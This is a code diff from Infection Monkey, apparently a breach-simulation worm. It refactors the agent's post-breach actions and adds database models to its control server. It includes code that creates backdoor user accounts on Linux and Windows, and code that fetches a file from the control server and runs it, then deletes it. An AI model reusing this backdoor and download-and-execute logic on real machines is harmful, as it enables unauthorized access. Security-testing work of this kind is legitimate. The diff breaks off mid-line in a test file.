diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index b9a1728f3..97b66690e 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,7 +20,6 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +36,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -205,6 +201,7 @@ class Configuration(object): # exploiters config ########################### + should_exploit = True skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index a88996069..3fae277e8 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" + +# random number greater than 5, +# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +TIMEOUT_IN_SECONDS = 15 + class ControlClient(object): proxies = {} @@ -73,7 +79,7 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies, - timeout=TIMEOUT) + timeout=TIMEOUT_IN_SECONDS) WormConfiguration.current_server = current_server break @@ -303,3 +309,13 @@ class ControlClient(object): target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + + @staticmethod + def get_pba_file(filename): + try: + return requests.get(PBA_FILE_DOWNLOAD % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + except requests.exceptions.RequestException: + return False diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 02bd649c2..cc065a745 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -51,7 +51,6 @@ class MonkeyDrops(object): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): - if self._config['destination_path'] is None: LOG.error("No destination path specified") return False diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index efd9efcdc..8c8668bef 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,4 +1,5 @@ { + "should_exploit": true, "command_servers": [ "192.0.2.0:5000" ], diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 6e06d4aa6..b8e292243 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -98,6 +98,7 @@ def main(): except OSError: pass LOG_CONFIG['handlers']['file']['filename'] = log_path + # noinspection PyUnresolvedReferences LOG_CONFIG['root']['handlers'].append('file') else: del LOG_CONFIG['handlers']['file'] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index d741727ce..912386d4c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -121,10 +121,7 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() - + # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: @@ -183,16 +180,17 @@ class InfectionMonkey(object): LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) # Order exploits according to their type - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() - break - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() + if WormConfiguration.should_exploit: + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() + break + if not host_exploited: + self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index a7f0f0396..d29adddb1 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -15,7 +15,7 @@ def main(): a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), - hookspath=None, + hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, datas=None, diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 2bd5547b4..3a692dc66 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1 @@ __author__ = 'danielg' - - -from add_user import BackdoorUser diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py new file mode 100644 index 000000000..17007f1e6 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -0,0 +1,11 @@ +from os.path import dirname, basename, isfile, join +import glob + + +def get_pba_files(): + """ + Gets all files under current directory(/actions) + :return: list of all files without .py ending + """ + files = glob.glob(join(dirname(__file__), "*.py")) + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py new file mode 100644 index 000000000..650f37b2f --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -0,0 +1,19 @@ +import datetime +from infection_monkey.post_breach.pba import PBA +from infection_monkey.config import WormConfiguration + + +__author__ = 'danielg' + +LINUX_COMMANDS = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.user_to_add] + +WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, + '/add', '/ACTIVE:NO'] + + +class BackdoorUser(PBA): + def __init__(self): + super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py new file mode 100644 index 000000000..61ec6f5d7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -0,0 +1,91 @@ +import os +import logging + +from infection_monkey.utils import is_windows_os +from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +# Default commands for executing PBA file and then removing it +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" + +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' + + +class UsersPBA(PBA): + """ + Defines user's configured post breach action. + """ + def __init__(self): + super(UsersPBA, self).__init__("File execution") + self.filename = '' + if not is_windows_os(): + # Add linux commands to PBA's + if WormConfiguration.PBA_linux_filename: + if WormConfiguration.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.filename = WormConfiguration.PBA_linux_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) + self.command = DEFAULT_LINUX_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_linux_filename + elif WormConfiguration.custom_PBA_linux_cmd: + self.command = WormConfiguration.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if WormConfiguration.PBA_windows_filename: + if WormConfiguration.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.filename = WormConfiguration.PBA_windows_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) + self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_windows_filename + elif WormConfiguration.custom_PBA_windows_cmd: + self.command = WormConfiguration.custom_PBA_windows_cmd + + def _execute_default(self): + if self.filename: + UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + return super(UsersPBA, self)._execute_default() + + @staticmethod + def should_run(class_name): + if not is_windows_os(): + if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: + return True + else: + if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: + return True + return False + + @staticmethod + def download_pba_file(dst_dir, filename): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :return: True if successful, false otherwise + """ + + pba_file_contents = ControlClient.get_pba_file(filename) + + if not pba_file_contents or not pba_file_contents.content: + LOG.error("Island didn't respond with post breach file.") + return False + try: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + written_PBA_file.write(pba_file_contents.content) + return True + except IOError as e: + LOG.error("Can not upload post breach file to target machine: %s" % e) + return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py deleted file mode 100644 index 94aa210e4..000000000 --- a/monkey/infection_monkey/post_breach/add_user.py +++ /dev/null @@ -1,52 +0,0 @@ -import datetime -import logging -import subprocess -import sys -from infection_monkey.config import WormConfiguration - -LOG = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - WindowsError = None - -__author__ = 'danielg' - - -class BackdoorUser(object): - """ - This module adds a disabled user to the system. - This tests part of the ATT&CK matrix - """ - - def act(self): - LOG.info("Adding a user") - try: - if sys.platform.startswith("win"): - retval = self.add_user_windows() - else: - retval = self.add_user_linux() - if retval != 0: - LOG.warn("Failed to add a user") - else: - LOG.info("Done adding user") - except OSError: - LOG.exception("Exception while adding a user") - - @staticmethod - def add_user_linux(): - cmd_line = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - retval = subprocess.call(cmd_line) - return retval - - @staticmethod - def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - retval = subprocess.call(cmd_line) - return retval diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py deleted file mode 100644 index 5f52a29a6..000000000 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ /dev/null @@ -1,68 +0,0 @@ -from infection_monkey.post_breach.pba import PBA -from infection_monkey.control import ControlClient -from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path -import requests -import os -import logging - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - - -class FileExecution(PBA): - """ - Defines user's file execution post breach action. - """ - def __init__(self, linux_command="", windows_command=""): - self.linux_filename = WormConfiguration.PBA_linux_filename - self.windows_filename = WormConfiguration.PBA_windows_filename - super(FileExecution, self).__init__("File execution", linux_command, windows_command) - - def _execute_linux(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) - return super(FileExecution, self)._execute_linux() - - def _execute_win(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) - return super(FileExecution, self)._execute_win() - - def add_default_command(self, is_linux): - """ - Replaces current (likely empty) command with default file execution command (that changes permissions, executes - and finally deletes post breach file). - Default commands are defined as globals in this module. - :param is_linux: Boolean that indicates for which OS the command is being set. - """ - if is_linux: - file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) - self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) - else: - file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) - self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) - - @staticmethod - def download_PBA_file(dst_dir, filename): - """ - Handles post breach action file download - :param dst_dir: Destination directory - :param filename: Filename - :return: True if successful, false otherwise - """ - - PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - written_PBA_file.write(PBA_file_contents.content) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 09fe613b3..7df3693fa 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,7 +1,10 @@ import logging -from infection_monkey.control import ControlClient import subprocess import socket +from infection_monkey.control import ControlClient +from infection_monkey.utils import is_windows_os +from infection_monkey.config import WormConfiguration + LOG = logging.getLogger(__name__) @@ -12,57 +15,60 @@ class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ - def __init__(self, name="unknown", linux_command="", windows_command=""): + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param linux_command: Command that will be executed on linux machine - :param windows_command: Command that will be executed on windows machine + :param command: Command that will be executed on breached machine """ - self.linux_command = linux_command - self.windows_command = windows_command + self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - def run(self, is_linux): + def get_pba(self): """ - Runs post breach action command - :param is_linux: boolean that indicates on which os monkey is running + This method returns a PBA object based on a worm's configuration. + Return None or False if you don't want the pba to be executed. + :return: A pba object. """ - if is_linux: - command = self.linux_command - exec_funct = self._execute_linux - else: - command = self.windows_command - exec_funct = self._execute_win - if command: - hostname = socket.gethostname() - ControlClient.send_telemetry('post_breach', {'command': command, - 'result': exec_funct(), - 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname) - }) - - def _execute_linux(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.linux_command) - - def _execute_win(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.windows_command) + return self @staticmethod - def _execute_default(command): + def should_run(class_name): + """ + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise + """ + return class_name in WormConfiguration.post_breach_actions + + def run(self): + """ + Runs post breach action command + """ + exec_funct = self._execute_default + result = exec_funct() + hostname = socket.gethostname() + ControlClient.send_telemetry('post_breach', {'command': self.command, + 'result': result, + 'name': self.name, + 'hostname': hostname, + 'ip': socket.gethostbyname(hostname)}) + + def _execute_default(self): """ Default post breach command execution routine - :param command: What command to execute :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True + return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False + + @staticmethod + def choose_command(linux_cmd, windows_cmd): + """ + Helper method that chooses between linux and windows commands. + :param linux_cmd: + :param windows_cmd: + :return: Command for current os + """ + return windows_cmd if is_windows_os() else linux_cmd diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index ff24ebbbb..8522f412f 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,16 +1,15 @@ import logging -import infection_monkey.config -from file_execution import FileExecution -from pba import PBA +import inspect +import importlib +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.actions import get_pba_files from infection_monkey.utils import is_windows_os -from infection_monkey.utils import get_monkey_dir_path LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DIR_CHANGE_WINDOWS = 'cd %s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." class PostBreach(object): @@ -19,65 +18,34 @@ class PostBreach(object): """ def __init__(self): self.os_is_linux = not is_windows_os() - self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + self.pba_list = self.config_to_pba_list() def execute(self): """ Executes all post breach actions. """ for pba in self.pba_list: - pba.run(self.os_is_linux) + pba.run() LOG.info("Post breach actions executed") @staticmethod - def config_to_pba_list(config): + def config_to_pba_list(): """ - Returns a list of PBA objects generated from config. - :param config: Monkey configuration + Passes config to each post breach action class and aggregates results into a list. :return: A list of PBA objects. """ pba_list = [] - pba_list.extend(PostBreach.get_custom_PBA(config)) - + pba_files = get_pba_files() + # Go through all of files in ./actions + for pba_file in pba_files: + # Import module from that file + module = importlib.import_module(PATH_TO_ACTIONS + pba_file) + # Get all classes in a module + pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] + # Get post breach action object from class + for pba_class in pba_classes: + if pba_class.should_run(pba_class.__name__): + pba = pba_class() + pba_list.append(pba) return pba_list - - @staticmethod - def get_custom_PBA(config): - """ - Creates post breach actions depending on users input into 'custom post breach' config section - :param config: monkey's configuration - :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) - """ - custom_list = [] - file_pba = FileExecution() - command_pba = PBA(name="Custom") - - if not is_windows_os(): - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - else: - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - # Add change dir command, because user will try to access his file - file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ - config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd - - # Add PBA's to list - if file_pba.linux_command or file_pba.windows_command: - custom_list.append(file_pba) - if command_pba.windows_command or command_pba.linux_command: - custom_list.append(command_pba) - - return custom_list diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py new file mode 100644 index 000000000..51a0fca4a --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -0,0 +1,6 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +# Import all actions as modules +hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +# Add action files that we enumerate +datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 205785486..69557c31c 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,11 +29,12 @@ from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.version_update import VersionUpdate -from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.database import Database from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.attack_telem import AttackTelem +from monkey_island.cc.resources.attack_config import AttackConfiguration __author__ = 'Barak' @@ -97,7 +98,7 @@ def init_app_services(app): with app.app_context(): database.init() - ConfigService.init_config() + Database.init_db() # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island. RemoteRunAwsService.init() @@ -130,6 +131,7 @@ def init_api_resources(api): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') + api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackTelem, '/api/attack/') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') diff --git a/monkey/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py index 2e7eb69ff..7f15cb45e 100644 --- a/monkey/monkey_island/cc/auth.py +++ b/monkey/monkey_island/cc/auth.py @@ -10,8 +10,8 @@ __author__ = 'itay.mizeretz' class User(object): - def __init__(self, id, username, secret): - self.id = id + def __init__(self, user_id, username, secret): + self.id = user_id self.username = username self.secret = secret diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 1202f299d..73cb813fe 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -10,13 +10,29 @@ class Environment(object): __metaclass__ = abc.ABCMeta _ISLAND_PORT = 5000 - _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland") + _MONGO_DB_NAME = "monkeyisland" + _MONGO_DB_HOST = "localhost" + _MONGO_DB_PORT = 27017 + _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) + + _testing = False + + @property + def testing(self): + return self._testing + + @testing.setter + def testing(self, value): + self._testing = value + _MONKEY_VERSION = "1.6.3" + def __init__(self): self.config = None + self._testing = False # Assume env is not for unit testing. def set_config(self, config): self.config = config @@ -56,3 +72,15 @@ class Environment(object): @abc.abstractmethod def get_auth_users(self): return + + @property + def mongo_db_name(self): + return self._MONGO_DB_NAME + + @property + def mongo_db_host(self): + return self._MONGO_DB_HOST + + @property + def mongo_db_port(self): + return self._MONGO_DB_PORT diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index b27880e07..6115e8dd9 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -2,7 +2,10 @@ import json import logging import os +env = None + from monkey_island.cc.environment import standard +from monkey_island.cc.environment import testing from monkey_island.cc.environment import aws from monkey_island.cc.environment import password from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH @@ -14,11 +17,13 @@ logger = logging.getLogger(__name__) AWS = 'aws' STANDARD = 'standard' PASSWORD = 'password' +TESTING = 'testing' ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, PASSWORD: password.PasswordEnvironment, + TESTING: testing.TestingEnvironment } diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py new file mode 100644 index 000000000..286e442dd --- /dev/null +++ b/monkey/monkey_island/cc/environment/testing.py @@ -0,0 +1,17 @@ +from monkey_island.cc.environment import Environment +import monkey_island.cc.auth + + +class TestingEnvironment(Environment): + def __init__(self): + super(TestingEnvironment, self).__init__() + self.testing = True + + # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' + NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ + '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' + + def get_auth_users(self): + return [ + monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS) + ] diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py new file mode 100644 index 000000000..9d69a51fc --- /dev/null +++ b/monkey/monkey_island/cc/models/__init__.py @@ -0,0 +1,19 @@ +from mongoengine import connect + +from monkey_island.cc.environment.environment import env + +# This section sets up the DB connection according to the environment. +# If testing, use mongomock which only emulates mongo. for more information, see +# http://docs.mongoengine.org/guide/mongomock.html . +# Otherwise, use an actual mongod instance with connection parameters supplied by env. +if env.testing: + connect('mongoenginetest', host='mongomock://localhost') +else: + connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) + +# Order of importing matters here, for registering the embedded and referenced documents before using them. +from config import Config +from creds import Creds +from monkey_ttl import MonkeyTtl +from pba_results import PbaResults +from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py new file mode 100644 index 000000000..cfe128111 --- /dev/null +++ b/monkey/monkey_island/cc/models/config.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument + + +class Config(EmbeddedDocument): + """ + No need to define this schema here. It will change often and is already is defined in + monkey_island.cc.services.config_schema. + See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist + """ + meta = {'strict': False} + pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py new file mode 100644 index 000000000..61322362e --- /dev/null +++ b/monkey/monkey_island/cc/models/creds.py @@ -0,0 +1,9 @@ +from mongoengine import EmbeddedDocument + + +class Creds(EmbeddedDocument): + """ + TODO get an example of this data, and make it strict + """ + meta = {'strict': False} + pass diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py new file mode 100644 index 000000000..bb018caa9 --- /dev/null +++ b/monkey/monkey_island/cc/models/monkey.py @@ -0,0 +1,60 @@ +""" +Define a Document Schema for the Monkey document. +""" +import mongoengine +from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ + ReferenceField + +from monkey_island.cc.models.monkey_ttl import MonkeyTtl + + +class Monkey(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, somewhat like an API. + """ + # SCHEMA + guid = StringField(required=True) + config = EmbeddedDocumentField('Config') + creds = ListField(EmbeddedDocumentField('Creds')) + dead = BooleanField() + description = StringField() + hostname = StringField() + internet_access = BooleanField() + ip_addresses = ListField(StringField()) + keepalive = DateField() + modifytime = DateField() + # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. + parent = ListField(ListField(StringField())) + config_error = BooleanField() + critical_services = ListField(StringField()) + pba_results = ListField() + ttl_ref = ReferenceField(MonkeyTtl) + + # LOGIC + @staticmethod + def get_single_monkey_by_id(db_id): + try: + return Monkey.objects(id=db_id)[0] + except IndexError: + raise MonkeyNotFoundError("id: {0}".format(str(db_id))) + + def is_dead(self): + monkey_is_dead = False + if self.dead: + monkey_is_dead = True + else: + try: + if MonkeyTtl.objects(id=self.ttl_ref.id).count() == 0: + # No TTLs - monkey has timed out. The monkey is MIA. + monkey_is_dead = True + except (mongoengine.DoesNotExist, AttributeError): + # Trying to dereference unknown document - the monkey is MIA. + monkey_is_dead = True + return monkey_is_dead + + +class MonkeyNotFoundError(Exception): + pass diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py new file mode 100644 index 000000000..9ccf77974 --- /dev/null +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -0,0 +1,40 @@ +from datetime import datetime, timedelta + +from mongoengine import Document, DateTimeField + + +class MonkeyTtl(Document): + """ + This model represents the monkey's TTL, and is referenced by the main Monkey document. + See https://docs.mongodb.com/manual/tutorial/expire-data/ and + https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663 + for more information about how TTL indexing works and why this class is set up the way it is. + + If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function. + If you wish to create an instance of this class directly, see the inner implementation of + create_ttl_expire_in(seconds) to see how to do so. + """ + + @staticmethod + def create_ttl_expire_in(expiry_in_seconds): + """ + Initializes a TTL object which will expire in expire_in_seconds seconds from when created. + Remember to call .save() on the object after creation. + :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration + that the cleanup thread of mongo might take extra time to delete the TTL from the DB. + """ + # Using UTC to make the mongodb TTL feature work. See + # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents. + return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) + + meta = { + 'indexes': [ + { + 'name': 'TTL_index', + 'fields': ['expire_at'], + 'expireAfterSeconds': 0 + } + ] + } + + expire_at = DateTimeField() diff --git a/monkey/monkey_island/cc/models/pba_results.py b/monkey/monkey_island/cc/models/pba_results.py new file mode 100644 index 000000000..d2cc48080 --- /dev/null +++ b/monkey/monkey_island/cc/models/pba_results.py @@ -0,0 +1,9 @@ +from mongoengine import EmbeddedDocument, StringField, ListField + + +class PbaResults(EmbeddedDocument): + ip = StringField() + hostname = StringField() + command = StringField() + name = StringField() + result = ListField() diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py new file mode 100644 index 000000000..008fb0ce6 --- /dev/null +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -0,0 +1,54 @@ +import uuid +from time import sleep +from unittest import TestCase + +from 